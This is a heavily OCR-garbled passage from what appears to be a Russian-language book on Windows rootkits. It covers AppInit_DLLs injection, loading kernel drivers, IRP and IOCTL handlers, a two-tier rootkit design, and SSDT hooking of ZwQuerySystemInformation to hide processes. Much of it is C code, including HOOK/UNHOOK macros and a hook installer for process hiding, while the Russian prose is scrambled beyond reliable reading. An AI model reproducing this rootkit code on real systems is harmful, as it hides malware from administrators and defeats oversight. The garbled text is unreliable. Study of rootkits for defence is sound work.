о и з рисунак , в кюл ч е AppInit_DLLs «прописан а Outpost Firewall Pro. Оптя ь м ы н ичег о н е н аруш ем и Windows.
» би л оетк , а и споль
а
и та с К , елс и в эот м клю ч е уж е етс ь каяк т о библаекот , ч ер з з апутя ю в ы ж о тм е е ау зк т ь юв ос . Библ оетк а USER32.DLL з агруж е т вс е DLL, пер ч и сл ен ы е в кюл ч е Applnit_DLLs, в ансердо е просатн в о проц еса . Пос л е з аг ру к и аж к о д й DLL вы з всает я е е фун кц и я DllMain с пармоет , чер з корыт й с п ает р д я п ри ч н а вы з о а фун цк и . оЭт т п ар м ет р мж о е т 69
RootKits
п ри н м ат ь он д о и з ы ч те р х з н ач е и й DLL_PROCESS_ATTACH, закуы вю щ е аК к толь к о вша а DLL присоедн ит я п е л р ид т ь фун цк и , вы з ваемы е пцормсе вта ь пцорысе , файлы , кюл ч и рртсе а ш Р е да т к о й фа
р ре ст р л к а дэ Ц
а
:
0
а §п& б*рИз ***
Ф О
ЛР
* ква р пС
| | ' !
'
h
.
;
:
.
•
.
о . j o f i j
•
а
*
_d м И
я ЈЈ](П о ую и н а члмо
;+] C j ProfileList Н Ј Э related.desc
1
, и х ыротк х н а с и н е р сту т отл ь к , чт о DLL плюкод чсает я к у цс о п ре к пусцоер , ва м н ичт о н е соит т перо , чт о поз вли т ва м легк о срык и свеыт е соеидн ия .
^ЁЙ ЗЁЙ
Г+ lC j SeCEdit :+; i l j Setup S Ш SvcHost ;+'P"l SystemRestore 1+] C j Terminal Server Ш (_J п и Т е Zones S3 C J Tracing
и Т п REG SZ
)
i и н е ч а Зн (зи н е ч а н
!
е е и е о пн е в с и р
)
REG.SZ i^j DeviceNotSelecte, . REG.SZ
E:\PR0GR4~ UAgr TeKCT CTpaHH4bi
88
! А
.
Ф ай
Р а с мр и о т
в пор
ь джа
" пктуро ю е нем е
ю
ч
р нко
а
а я в
а я
а и зад
в а Гл
а 3.Пнме д о
а ка
к оа рб
з н жиз
т стран и ц
с.Ри
аК
к виедт
, в сцкеи
б о н р дП цил б а Т
ы
3.9. ульРезт ат
вяиеынолп
о аритбу
и опиысюва т ы описан ы в таблиц
а 3.2. Атрибуы
НТА ияен ож прил
Ат рибу
пяиенложр
НТА
я аитруб е 3.2.
т
ы онк
Описани мИ
applicationName
я пенирял ож
а де З
. Дон л ж т ти
п ра м и к
о быт
по
ь ра м и к
ь уалниыкь
е — бе
з ра м и к , нзель
я имз енят
о в оа д
р
, беду
т л и он к
о осьат обажрт
, беутд
;
ь к протаигмк м е
у raised и sunken; о лд
я о кн
, в оырт к
х ен
т
; я (3D)
yes —д а п о — н е беуд м Раз е
ь ра мз е
я о л тк ь
sunken — улоптена
т пту р иени обзарж
; ;
я (3D); е мд еж
static — испоулезть оп л в е з г а ь т с к
аде З
р онак ь р а мз е р
;
raised — пиаопрндят
т ле я д р п О
ь рамз е я имз енят
:
complex — средн
caption
о имз енят , нзель
;
normal — обы чная borderStyle
м
, мн ож я ра м к
thin — тоаняк л и тС
.
е
я рам к
dialog — обыачн
border
а НТЛ п ри лож ен и я
:
thick — толаст
icon
а
^Щ }*}
nts and5eUirai\Denii\Msystei.32'appKelp . d l l 1 9 : 2 8 : 5 8 1~Н1944]Ое1ес
1 n o d u l e l o a d : C:\UIHDOySNSyste»32\browseui d l l 11
с.Ри
5.1. тУ тли а
DebugView
*J Fufl pathname of drive*
I Install
Slat
Slop
Remove
Status: Close
с.Ри
и тЭ м сбопс ев р н е може и сп ол ь з в ат
5.2. тУ тли а
InstDrv
м драй ве р з агружсет я в н евы гружаем т бы т ь в ы г руж е н н а ди с к пр и проц ес ь приведн ы й ко д дл я сево й прогамы
ю пьатмя е п о адк ч и з агруз ч и к
, т о етс ь драй . В ы может а ри у к т а
е . 127
RootKits
щуС в е тс т и друго й спос б з агруз ит ь драй ве , осн ова н ы й н а нумеонкд и т ров ан о м APIвы з ов е SystemLoadAndCall Image. И з из внест ы х ри ук т от в ег о ипслоьзтеу , н априме , FU, индохсы й ко д коргт о можн о сачкт www.rootkit.com. н ит с и Л
г 5.2. К З УР ГА З
А И С ЗУ П А
К А Р Е В Й А Р Д
. УТТ И Л И
ь с
А INSTDRV
#include #include #include #include BOOL InstallDriver( IN SC_HANDLE SchSCManager, IN LPCTSTR DriverName, IN LPCTSTR ServiceExe
) ) BOOL RemoveDriver( IN SC_HANDLE SchSCManager, IN LPCTSTR DriverName ) ; BOOL StartDriver ( IN SC_HANDLE SchSCManager, IN LPCTSTR DriverName ) ; BOOL StopDriver( IN SC_HANDLE SchSCManager, IN LPCTSTR DriverName
) ; BOOL OpenDevice( IN LPCTSTR DriverName ) ; VOID cdecl main( IN int argc, IN char *argv[] ) { SC_HANDLE SchSCManager; if (argc != 3) char currentDirectory[128]; printf ("usage: instdrv \n"); printf (" to install a kernelmode device driver, or:\n"); printf (" instdrv remove\n"); printf (" to remove a kernelmode device driver\n\n"); GetCurrentDirectory (128, currentDirectory ) ; printf("Example: instdrv simpldrv %s\\obj\\i386\\simpldrv. sys\n' currentDirectory ) ; exit (1) ; SchSCManager = OpenSCManager (NULL,// локальны
128
й етюьпмок
р
в а Гл NULL, // бза а дына х п о уиначлом SC_MANAGER_ALL_ACCESS // пвар
а 5.Пиш е
м п е рв ы
й дра йв е
р
ю а путсод
а
); if (!_stricmp (argv[2], "remove" )) { StopDriver (schSCManager, argvfl] ) ; RemoveDriver (schSCManager, argvtl] ) ; } else ( InstallDriver (schSCManager, argvfl], argv[2] ) ; StartDriver (schSCManager, argv[l] ) ; OpenDevice (argvfl)); } CloseServiceHandle (schSCManager); } BOOL InstallDriver( IN SC_HANDLE SchSCManager, IN LPCTSTR DriverName, IN LPCTSTR ServiceExe ) f
/* Эт а фун цк и я з агруж е т олеьдтн ы й (standalone) драй вер . Елс и н а п оря о д к з агруз к и до л ж н ы в литя ь п у гр ы п ри о ет а и л и г иэ т п р и о еа т , мо и д ц ф руй т е до к , обдави в п вор к е у з н ач е и й лю к ч е й HKLM\SYSTEM\ CurrentControlSet\Control\ServiceGroupOrder и пармеот в Group и Tag юл к ч а ИЕКМ\8У5ТЕМ\Си г еп 1Соп 1го15ег,\5еп ч се5\IoStatus.Status = STATUS_SUCCESS; IoCompleteRequest(plrp, IO_NO_INCREMENT); return STATUS_SUCCESS; } NTSTATUS DriverEntry ( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING pRegistryPath) { int I; /* кортС и док а д о рицартсге и ицкнуф и OnUnload икат е ж е , ак к в лгнитс е 5.3 */ pDriverObject>DriverUnload = OnUnload; for (1=0; I MajorFunction[i] = MylrpHandler; ) /* Дальнейши е кортс и док а тика е же , ка к в листнг е 5.3 */
Ф у н цк и пниа с ци к йар д в е л ав о и р т лд з ав ерш н и и р т мо с П п лно и т в ыо с е р а у каТ тч ов с Д в ай т е д уб ет
я MylrpHandler тэ о толь к о з аглуш к , н о и он а долж н а п о прави лм . Заверш и в окбтаор у IRP, драй ве р озбяа ю IoCompleteRequest, бощс а я Д и сп ч ет р у в о да / в ы о да р обкраот у эгот о птека а з оанк ч и л . Ди спчет р преотвя и л и дйраве ы бело е вго кыс о увнор я сиов х пуцдоер р я да н о г о IRP, вы п олнея т и х и отл ь к о п осл е о тг э о в оз ращ е я в поль з веатуск ю у м а рг о п . е н а рис . 5.3. Поль з веалть ск я п рог ам а п роси ь о п ер л д н ы е ед й в с т и я write, read и ioctl. Н о драй ве т вс е дей свти я ондо й и то й ж е фунцк и . Неп рави ль н о ю ел м од ь м ы йес ч а с ир мс а т в е м д л я ы п от р с , чбот о и ка к происхдт . Н а питрак е ж е дл я жагодк о дей свти я совбсетн а я у н ф цк и я . е реал и з у м п рав и л ь н у ю ь л е д мо , в ортк й д л я а ж к од г т реали з ован а сво я фунцк и я . Прпедолжим , чт о на ш драй ве вы полнт я ь на д уройств м сюудел щ и е операц и :
а бы т
ь па ь фун , чт о отэ т , н е з ареги с ioComplet ion т уас т с н вы з ват
т др а й в е
р вы р п даер ? онКеч о ы в ы п о н л ия я до л ж н а бы т
. , ь
о д е й с вт и р п оз в ля
я
137
RootKits
•
р о кы т
ь урсотйв
о унф цк и
я OnCreate;
•
з ар кы т
ь уройств
о ун цфк и
я OnClose;
•
з ап и с т
ь дан ы
•
п роч и ат
•
бщ о е
дг о Т
е в уройств
ь овет
т уройсвт
я OnReadWrite;
е вводм/вы од
о рцаригтес
я OnReadWrite;
а унфцк и
е управлен и
а втсем
о унфцк и
и фнуцки
м ун фцк и
я OnDeviceControl.
и MylrpHandler ипш е
м сюудещл и
е си корт
:
D r i v e r O b j e c t > M a j o r F u n c t i o n [ I R P _ M J _ C R E A T E ] = O n C r e a t e ; D r i v e r O b j e c t > M a j o r F u n c t i o n [ I R P _ M J _ C L O S E ] = O n C l o s e ; D r i v e r O b j e c t > M a j o r F u n c t i o n [ I R P _ M J _ R E A D ] = O n R e a d W r i t e ; D r i v e r O b j e c t > M a j o r F u n c t i o n [ I R P _ M J _ W R I T E ] = O n R e a d W r i t e ; DriverObject>MajorFunction[IRP_MJ_DEVICE_CONTROL] = O n D e v i c e C o n t r o l ;
П ол ь з в е ат ск
я м а рг о п
а
read
write
lOCtl
ЯД Р
О О С
М ас и в MajorFunction my_io control
rnyjocontrol my_read
»|rny read
my_write Д рай в е с.Ри
5.4. ы нмчлиРаз
В с е у н ф цк и о б р а о т ч и к з а ет л ь н а у с рт о й в е тл ь н у ю у н ф кц и (ли ст н г 5.5). 138
my_write
р е т ак п ам
IRP ныенач з
и IRP прин маю о и у а к з ет л ь н а с р ту к ю Completeirp, з аверш аю щ у
ы не раз
обрат ик ч
т о ди н ао кв ы
е арг ум ен ыт у IRP. Нап и ш е ю об ра кт
: аук
м в сп ом г а у а ж к до г
о IRP
в а Гл нитсиЛ
г 5.5. О Б Р А Б О Т Ч И К
а 5.Пиш е
м п е рв ы
й драйв е
р
И IRP
NTSTATUS CompleteIrp( PIRP pirp, NTSTATUS status, ULONG info) { pIrp>IoStatus.Status = status; // квтсечило о байтов , пынадер х утнеилк . pIrp>IoStatus.Information = info; IoCompleteRequest( pirp, IO_NO_INCREMENT); return status; } NTSTATUS OnCreate ( IN PDEVICEJDBJECT pdo, IN PIRP pirp) { PIO_STACK_LOCATION plrpStack = IoGetCurrentlrpStackLocation(pirp) ; DbgPrint ("OnCreate: FileName = %ws", & (pIrpStack>FileObject>FileName.Buffer)); return CompleteIrp( pirp, STATUS_SUCCESS, 0 ) ; } NTSTATUS OnClose( IN PDEVICE_OBJECT pdo, IN PIRP pirp) { DbgPrint ("OnClose"); return CompleteIrp( pirp, STATUS_SUCCESS, 0) ; } NTSTATUS OnReadWritet IN PDEVICEJDBJECT pdo, IN PIRP pirp) { ULONG BytesTxd = 0 ; // члси о перданых/получены х байтов NTSTATUS status = STATUSjSUCCESS; DbgPrint("OnReadWrite"); return CompleteIrp( pirp, status, BytesTxd);
)
Ф у н цк и ем р н оелськи ил е дп о р н и тс Л // видовы
я OnDeviceControl едуб т сложн е , пмот х воз мжн ы х дейвсти й п о управлен и м уп равюля щ и е кдо ы (ли стн г 5.6). г 5.6. ЧИТОБАР т оончдалт
у чт о м ы привед ю усртой в м
м п ри . Сн ачл
а
К IRP MJ DEVICE CONTROL е инещбо с
е
• d e f i ne IOCTL_PRINT_MESSAGE CTL_CODE ( \
FILE_DEVICE_UNKNOWN, 0x701, \ METHOD_BUFFERED, FILE_ANY_ACCESS) // пеалысо т инежол рп ю нвору я плетавозь я идо ќdefine IOCTL_SEND_BYTE_TO_USER CTL_CODE ( \ FILE_DEVICE_UNKNOWN, 0x702, \ METHOD BUFFERED, FILE ANY ACCESS)
н бйа
т
139
RootKits // нумярпа ю стеащ рбо я к пмоньлеар у троп у п о асерд у 378Н #define IOCTL_TOUCH_PORT_378H CTL_CODE (\ FILE_DEVICE_UNKNOWN, 0x703, \ METHOD_BUFFERED, FILE_ANY_ACCESS) NTSTATUS OnDeviceControl( IN PDEVICEJDBJECT pdo, IN PIRP Irp) { NTSTATUS status = STATUS_SUCCESS; ULONG BytesTxd = 0; // члси о / хын адер п ын ечулоп х йаб т PIO_STACK_LOCATION plrpStack = IoGetCurrentlrpStackLocation(plrp); PPRIMER_DEVICE_EXTENSION dx = (PPRIMER_DEVICE_EXTENSION)pdo>DeviceExtension; ULONG ControlCode = pIrpStack>Parameters.DeviceloControl.IoControlCode; ULONG method = ControlCode & 0x03; DbgPrint("OnDeviceControl: IOCTL %x.", ControlCode); switch ( ControlCode) { case IOCTL_PRINT_MESSAGE: { DbgPrint("IOCTL_PRINT_MESSAGE " ) ; break; ) case IOCTL_SEND_BYTE_TO_USER: ( // Ремза р дхына , пишвпутсо х о т пользватея : ULONG InputLength = pIrpStack>Parameters.DeviceloControl.InputBufferLength; ULONG OutputLength = pIrpStack>Parameters.DeviceloControl.OutputBufferLength; if (OutputLengthKl) { status = STATUS_INVALID_PARAMETER; break; } if( method==METHOD_BUFFERED) ( buff = (PUCHAR)pIrp>AssociatedIrp.SystemBuffer; DbgPrint("Method : BUFFERED"); } else if (method==METHOD_NEITHER) { buff=(unsigned char*)pIrp>UserBuffer; DbgPrint("Method : NEITHER"); } else { DbgPrint ("Method : unsupported"); 140
в а Гл
а 5.Пиш е
м п е рв ы
й дра йв е
р
status = STATUS_INVALID_DEVICE_REQUEST; break;
1 DbgPrint ("Buffer address = %08X",buff); *buff=33; BytesTxd = 1; break; ) case IOCTL_TOUCH_PORT_37 8H: { unsigned short ECRegister = 0x378+0x402; DbgPrint ("IOCTL_TOUCH_PORT_378H.") ; _asm { mov dx,ECRegister ; xor al,al ; out dx,al ; Утивонас ь РЕ Р mode 000 mov al,095h ; Бти ы 7:5 = 100 out dx,al ; Утивонас ь РЕ Р mode 100 } break; } default: status = STATUS_INVALID_DEVICE_REQUEST; } DbgPrint("OnDeviceControl: %d bytes written", (int)BytesTxd); return CompleteIrp( plrp, status, BytesTxd); }
5.7. СМ Е Х
А ГОВЕН ДВРУХ
О Т И К Т У Р
В ы н ауч и л с ь с о з а вд т ь а к к с н и м жоме т вз аимоедйвста ч О в еи н д о , чт о можн о н ап и с т лат и б ы н а обио х уровнхя в ы п ол н т я ь б о л ь ш и н с вт о уп рав л ен и е и т . д . А компн е т «янреыд » , фунцк и и утсод з л еь г о в т а к с о ом п к н е а т мехС ом е х с Н а на д о ил ц ярад (син ф
а в з а и м о д е й с вт и й двухрон евг
и рег и ст ов а
ь рд а й в е р у рс от й в ь п мгаор а п о л ь з о в а е т л ь со кг ь о ка т й и т к ур , омпкн е т ы о р тг к . Наприме , поль з веалть иск й омк п н е у н ф цк и й евост е в з а и м о д е й с вт и е у ярд а далосит ь б ы н и зоукрвн е ы п к «жзелу » и при ык т е детлья н ост .
я о км п н е о т о рикут й мехс е ом п к н е , а тжак е сни ф г посдлуш иван е
А
в вд у х у р о в н е а (fusion rootkit)) и з ображ ен т рд я г л а вк и у р т
а е д уб , перхв)ат
т п рои з в д т ы и поветак . Поль з оваетль сик
й (и н огд
а и п о н л ия , о уров н я . о раб о т ом г б ы , удален о е , сбгу о и п ол ь
а н аз ы в аем а н а ри с
ь м о ид а к фц
я . 5.5. ю аб т я п о сте
, перадю щ ихс й о м кп н е
и т 141
RootKits
е д бу т раб т о ь «по д приык тем у н фц к и и тэ о павроесдтлн и н тсо и уадлен о кон ртли ова л ов й с и е м то й , вы лкю ч аьт /п ерз агруж т и т . д.) . и в т с й е дм о и а з В т н е ом п ко р дя
» омпкн е т
а уров н о пу тсо д р произ вдт ь ш а м ин у
е ал ен уд ог ь кмпоью ет
е го кс лье таво з льо п
о
а и т н кое ом п
а унво р
я р да я . Осн ов ы е ге о а (и л и прост о в зо м ж ь операц и и с фай , з апускт ь п гор ма ы
ыр кС
я
а
т комп н е от
м ярд
П о л ь з в е ла ть и с к
теС
й о км п н е
я оК м п н е
т уровн
и нСф
с.Ри
е двухрон ев •
Д е й с вт и б и л ео чт н ы ь тю е с . Н чт о би бл еочтн ы з ча е м влюк чат и р ку т т н н и ч ге о н
•
Есл а лу д е си ем т ур т у ад л и
Дл
а
й мехс
г
иСн ф
в
г л а вк и у р т
ы
рут тик
5.5. ыевнйухро Дв
ы ием
т сюудел щ и
е п р е и м у щ в е с ат
:
я п ол ь з в е ат ог ск
о уровн я празодумевю т и сп ол ь з в ан и е х у н фц к и й Windows е т х ж е унфцк и й д л я бар то ы с е п ер и сы в ат ь ж е з ан ов о св ю Windows? Вес м из внесто , е фунцк и и Windows муго т соедржат ь ош ибк . Та к ь ко д с ош имабк и в сатсо в рикут а ядра ? ьВде , чбот ы е бы л змачен , смеитс а долж н а ратбо ь сатби ль н о бочт ы е н апоми н ал о о привсту и и а к т ру .
и п о л ь з о в ае тл ь и с к н ма д и н о р а м т с е и сможе . Амдин ораст л и к р ту
й ом п к н е , т о компн е
т е д уб
т пеырхват
ь т е пк а р ж е беду
т дьумат
т всеакт и «вы числен » и т ярд а св е равн о а он с т е я в ы и «прослуш ивьат » лакви , чт о вс е н ормаль н о о н вде ь
.
я в з а и м о де й с в т и я п ол ь з ве ат ог ск о ом п к н е т н я рд я а м о ж н о и сп ол ь з в ат ь н ол ь еск о п бс в о окм а н д ы IOCTL ( I / O control). IOCTLко м а н д 142
я ярд
о О С
о т е пк а
И сп ол ь з ов ан и
т
ь
и М ао цд к ф
рдЯ
а
а и о м кп н е т . Обы чн о и сп ол ь з ую с т ы п р е д с т а в л юя
а уров т соб
я й
л а вГ
а 5.П и ш е
м перв ы
й драйв е
о п р е д м л ыя н е л д п ор у т о уз л о «пюавл щ ий ы в р еп о р тв вы ч и лс т
е п рог ам и ст м со б щ ен и я . ожадК е собщ ен и е н ес т в ю н у а м до к , н априме р н ма о д к у у ас нт о в и т ь с о еи д н и е с м и л и р ы ко т ь п р о т д л я ал ен уд ог о уп ост а д . В ы может е ес лд а т » играф к т бо а р ы птро а дл я уалден ог о доуспта . Нап ри ме й е н д ь п р о т р ы к о т в ас е я чер з 30 мин у т п лсо е з ап уск а си ем ы т й чер з чса , н а ирет й чер з 40 мин у т и т . д . Та к едбу т сл ож н е ь ва ш рикту .
И , з аверш а
у и н рум е ст о а риакту м калтоге , а сзотад е беду т в о вес м эо т я н а ри с . 5.6.
ру т к с в онод щ о рп жн е а
я ме т
е птроек
I ш еД р е в
в р а з бч о т и к . Я рнмеоудк ь дл я рикут м ори ен т ров ьа ся
о к ат л ог
а и ак р ут ю н е держ ат а суртк
, сажемк ь вс е исхнод ы
у сло е а й фл в ав м ж е пот , туюак , ка к из обра
у калогт . Напри ме
п ра
р
сбе етм
е ь , н а , н а е в о ы м
Q|ic|
в
]
hmy rootk.it bin include lib t i c
• boot file_hkle netwoik pioc_hide ieg_hide • mysql bench Data lATIS LWisconsin limits L output my_cooUcit тры с Бы
й поиск
:
OK
с.Ри
«Кнровые м » алогтк м ы б у де м хран и т i n c l u d e з аголвчн ы ол а т К б и л ек от отэ
г l i b ебду , а калот м калогт е ещ
Zl F2 • обновт и
н ем т О
а
5.6. Ст трук ура
м н ша ге ь о тк м п и л р о в а н ы е файлы
.ь т а .ч Пе
атк алог в
о пткеор
.
я дл
ь в е р де кв а р п С
троекп а
о а
рут тик а
а беду
, елс
т хран и т ь вс е н еоб хид м ы г s r c нидохсы е птя ь плаговткд
т my_rootkit. В калотг е м о ду л и р у тки а . В кат л ог и эт о беду т н ужн о . е дл й ко д риакту :
я ко м п и л ц я и . Д л я уобвдст
и п р о етк а я созад
е bin е а л в
143
RootKits
•
boot исхонд ы
•
file_hide индохсы
•
network евс
•
proc_hide пгорма
•
reg_hide пгорма
В сюудле щ е а й фл ы
й г л ав , пцорсе
144
й ко д прогамы з агру чик
а и р ку а т
й ко д пгмоар , чт о сзвяан
ы дл
о с сьюте а дл а дл
е м ы н чан е м раз гов ы и рзалед ы ар тсе
я соркы ит
я файлов
;
;
я срыок ит
я п цор в с е
я сроык ит
я разелдо р о тмо
.
;
, ка к и мен
; в рартсе
. о можн
о р ыс к в а т
ь
АВ Г Л
6. ЕРПХАТВ
НА
УРНЕ ОВ
РА Я Д
• А В Х Е Р П
Т ПИНАВЫРЕ
• ИЦ К УРТСН И
Й (ТЦИЛБА
А ЮТ
)
Я SYSENTER
• ИТЫР КОС
Е ПОС ЕЦОР
• ИТЫР КОС
Е СИНЕ ДЕО
• ЫВЕН ОР У ГОН М
В (ТЦИЛБА Й (ТЦИЛБА Е ДРРЕВЙА
R O O T K I T S
А SSDT) А IRP) Ы
• •
•
В гвал
е 4 м ы гвоирл и о снмеиытс х тбилац е сменитсы х свриеос в SSDT, а в гвал а IRP. Вс е эт о мжон о пыьтвахер
б ила ц т ыв д о
лн ч аС а пеуирнтомс др IDT. В ы виодт DbgPrint. Добави Дл у р т кс
я четн и
ь е д бу
м щ е бн оа ы м в н ко о уи т л м эот т ко д в фунцки
я а бт л и ц ы IDT служи ы IDTINFO:
х аблитц е преы ван и е 5 влве и пионт я е потека , и сйчеа с м ы пжаеко м кка
й в п . 4.5 выов д сжргиеомд ы Debug View с помщ ь ю DriverEntry (ли ст н т и н рц с у т к и
я SIDT. Он
а в оз ращ е
й IDT и в в в ода / .
о тиблац ю у н ф цк и г 6.1).
ы и
т ер да
с
t y p e d e f s t r u c t _IDTINFO {
u n s i g n e d s h o r t I D T L i m i t ; u n s i g n e d s h o r t LowIDTBase; u n s i g n e d s h o r t HilDTBase; } IDTINFO;
ер дА Дл
с сома я преобаз вн и
й IDT взовщар сте я итэ
х плое
я в пляо й в полн ы
х срутк
ы LowIDTBase и HilDTBase. с опрелди м мроак с TOLONG:
й аерд
# d e f i n e TOLONG ( a , b ) ( (LONG) ( ( (WORD) ( а ) ) | \ ( (DWORD) ( (WORD) (b) ) ) « 1 б ) )
аж К д
я з апи с
а би т
. Зап и с п ре ы в ан и я # p r a g m a
ь таблиц ь табли ц :
ы IDT тэ о суртк ы IDT сжредои т и о р мн а ц ф
p a c k ( l )
typedef struct _IDTENTRY ( unsigned short LowOffset; unsigned short selector;
146
а тип
а IDTENTRY раз меро ю о у н фц к и о б р а чт и к
м 64 е
валГ unsigned char unused_lo; unsigned char unused_hi:5; unsigned char DPL:2; unsigned char P:l; // би т пивтсур unsigned short HiOffset; IDTENTRY; тдагз а pack() н ит с Л
г 6 . 1 . о в ы В
ГдО М И Ж Р Е СД О
я роткев
а 6.Па в х е р
т н а нвору
а пре ывани
е ядр
а
я
О IDT
ќinclude #define TOLONG(a, b) ( (long) (( (unsigned short) (a)) | \ ((unsigned long) ((unsigned short) (b)))MdlFlags = pSystemCall>MdlFlags I MDL_MAPPED_TO_SYSTEM_VA; MappedSystemCallTable = MmMapLockedPages(pSystemCall, KernelMode);
155
RootKits
6 . 3 . 2 . М И Е З Н И ь пр е Т
Е
, кгод а SSDT дупостн а дл я з апис м ы говрил , чт о етс ь APIфун цк и и п о л ь з ве а т о г с к н ач и н аю с т я н а «Nt» — и етс ь API уровн с писркеф а «Zw». 2\у*фунцки и и сп ол ь з ую с т вм а р е и усртой в .
щб О и е з та у т об а р п ри л ож ен и ю
й пинрц м симеотс , воз вращ
п тйо ка й вы з всает
: по кьсле тавьзол я рзе луьат
. Получ асет
SSDT
, м ы мжео я ярд
м е е и з мен и ьт о уров н а с имне аи я о м кп н е а м т
. Помн иет я и х имне , н ач и н аю щ и м с и дря
а и драй
е пнижеолр е вы з еав т №*фунцкию я н ужн а я Zw*фyнцкия , корта я и вы полнея т №*фун цк и . №*фун цк и я пеард т рзельуат я так я двухрон еа я самех .
, а я
, т вс ю т
Н аш а з ач д а и з мен и т ь SSDT тка , чбот ы в ы з в ал и с ь н уж ы е н а м ун ф к ц и и (н аш и у нф к ц и ) . снЯо , чт о нша и у н ц фк и и у дб т в оз ращ т ь о т т ре тз а ь л у , корыт й н а м нжуне . В эо т м на м пугом т дв а мросак : SYS_SERVICE и SYSCALL_IND. Первы й морка с прин мае т аерд с 2ш *фунцк и и и воз вращ е т свостуею щ и й е й аерд с №*фунцк и и и з таблиц ы SSDT о рВ т щи
й мроак й е й н оме
с прин мае р (и н деск
т аерд ) в табли ц
аК юст
к ж е эт и мраокс ы аю р б от я с ондо й и то й ж е и н рцсутк и
с 2\Ґ*фнуцки е SSDT. ? А очне :
ь потср
и и воз вращ е . Вс
т вс о туею
е 2\у*фунцк и
и н ач и
m o v e a x , NNN
NNN тэ о и н едк с ис ме н т го о в ы з ов тсе ь инсекд , т о на м н ичге о н е сиот у н фц к и и в табли ц е SSDT торбНа ж ом е м уз н ат ь ин екд с эот й фунцк и
т н айт , елс .
а в ба ли т ц е SSDT. Дале и п о нме у аред с вс о т у е ю щ е и у на с етс ь арде с фун цк и
, лсе
и у на с й , т о м ы
• define SYS_SERVICE ( _ f u n c t i o n ) \ K e S e r v i c e D e s c r i p t o r T a b l e . S e r v i c e T a b l e B a s e [ \ *(PULONG)((PUCHAR)_function+l)] tdefine SYSCALL_IND(_Function)*(PULONG) ( (PUCHAR)_Function + l )
. Вде ь пывре е мсор ка ы SYS_SERVICE и s YSCALL_IND Н о эт о ещ е н е вс е мысор ка б зе о и н д ы он и н ичег о н е дюлае т н две р г о . Чег о н е сакж еш ь о роса м к х HOOK и UNHOOK. Мраок с н о к прин мае т аерд с 7\Ґ*фунцки , корту ю н уж н о перхвиать , вы ч и есля т е е нмео р в SSDT и з амен я т с во т е у ю щ и й ер да с в SSDT аосерд м фунцк и и _hook. #define HOOK ( _ F u n c t i o n , _ h o o k , _ O r i g ) \ _ O r i g = (PVOID) I n t e r l o c k e d E x c h a n g e ( (PLONG) \ & M a p p e d S y s t e m C a l l T a b l e [ S Y S C A L L _ I N D ( _ F u n c t i o n ) ] , (LONG) hook)
156
\
в а Гл
а 6.Па в х е р е
т н а унв о р
е яр д
а
«define UNHOOK (_Function, _hook, _Orig ) \ InterlockedExchange( (PLONG) \ &MappedSystemCallTable[SYSCALL_IND(_Function) ] , \ (LONG) _hook)
г е Вс о ли ш ь чыте р е масорк ж е з ахочсяет , и споль з у Д в ай т е сеалд м эт о ветсм ы р й беду т срык ват ь пцорысе
, н о чт о он и уюем , перхиват я тэ и мысорка . Сйеча с м ы н паиш е .
М ы з н аем , чт о в Windows етс п р е о ад ю с в т л я щ а я раз ли ч н у (и дгури е п ри лож ен и я ) исполь з уе го т э о о н пеадр т е й пармет аН ч у л и оП ыро т н ке
ш рикут
т е д уб в рзельуат е з апи с
т дельат
! Наверн о ь п ароч к м драй ве
, ва м сзар у APIфун кц и й р уросйтва , кот
у .
ь APIфунцк и я ZwQuerySystemlnf ormation, ю си ем нт у ю и но р мфа ц и ю . Д и сп етч р з ад ч т е е дл я получ ен и я спи ск а проц есв . Д л я р Systemlnf ormationClass = 5.
т п е ыр х в а т ь ун ц кф и ю NtQuerySystemlnformation. т удали т и з нге о т о т ZwQuerySystemlnf ormation, риукт .
И он р м а ц ф и я о ц п о ра с е х хран и с т я в у р а т кс х _SYSTEM_PROCESSES е п цор ас е м п о т ик ) . (проц есы ) и _SYSTEM_THREADS (свусютое щ и В струк е _SYSTEM_PROCESSES ест ь иод н оч ен ь п олез н ы й эл е м н т UNIC0DE_STRING. юС д а смеитс а з аписы вае т им я пцорасе . М ы беду м на л и з ров ат ь и м ен о UNIC0DE_STRING, чбо т ы «оиеьсвта » н уж ы е на м про . В знгляе м н а опелнрд и е суртк р _SYSTEM_PROCESSES с це ы п о имне а И _SYSTEM_THREADS: struct _SYSTEM_THREADS
i LARGE_INTEGER LARGE_INTEGER LARGE_INTEGER ULONG PVOID CLIENT_ID KPRIORITY KPRIORITY ULONG ULONG KWAIT_REASON In struct _SYSTEM_PROCESSES { ULONG ULONG ULONG LARGE_INTEGER LARGE INTEGER
KernelTime; UserTime; CreateTime; WaitTime; StartAddress; Clients Priority; BasePriority; ContextSwitchCount; ThreadState; WaitReason;
NextEntryDelta; ThreadCount; Reserved [ 6 ] ; CreateTime; UserTime;
157
RootKits LARGE_INTEGER KernelTime; UNICODE_STRING ProcessName; KPRIORITY BasePriority; ULONG Processld; ULONG InheritedFromProcessId; ULONG HandleCount; Reserved2[2]; ULONG VM_COUNTERS VmCounters; IO_COUNTERS IoCounters; //ткьло о дл я Windows 2000 struct _SYSTEM_THREADS Threads[1];: } ;
В м ест о уфн кц и и ZwQuerySystemlnformation м ы у с та н о в и м у фн к ц и ю MyZwQuerySystemlnformation. Усатн вли ат ь е е м ы буед м п осл е и н и ц и али з ац и и др а й в е р а в ход е в ы п о л н е н и я уфн кц и и D r i v e r E n t r y (л и с ти н г 6.5). н ит с и Л
г 6.5. Н Е М ДО П
А ZWQUERYSYSTEMINFORMATION
LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; ZWQUERYSYSTEMINFORMATION Pred_func; NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING pRegPath) { /* ок д иницалз и . д а р е в й. ар . */ // Оеялунб м оньлаб г е время . Эт о пиловз т "завулироать " // разниц у в понрсец м нем рв и вде ь нша и ыт ркс е // псецор ы уд б т итавозьлпс ь ос ец рп р UserTime.QuadPart = KernelTime.QuadPart = 0; // сеянархо м ерда с оратс й фицкну и ZwQuerySystemlnformation Pred_func = (ZWQUERYSYSTEMINFORMATION) (SYS_SERVICE(ZwQuerySystemlnformation)); // Сеадзо м MDL mdl = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4); if(!mdl) return STATUS_UNSUCCESSFUL; MmBuildMdlForNonPagedPool(mdl); // Реашрз м сипаз ь в роиге н птяма и mdl>MdlFlags = mdl>MdlFlags | MDL_MAPPED_TO_SYSTEM_VA; MappedSystemCallTable = MmMapLockedPages(mdl, KernelMode); // перхватым ынметси й озыв в
158
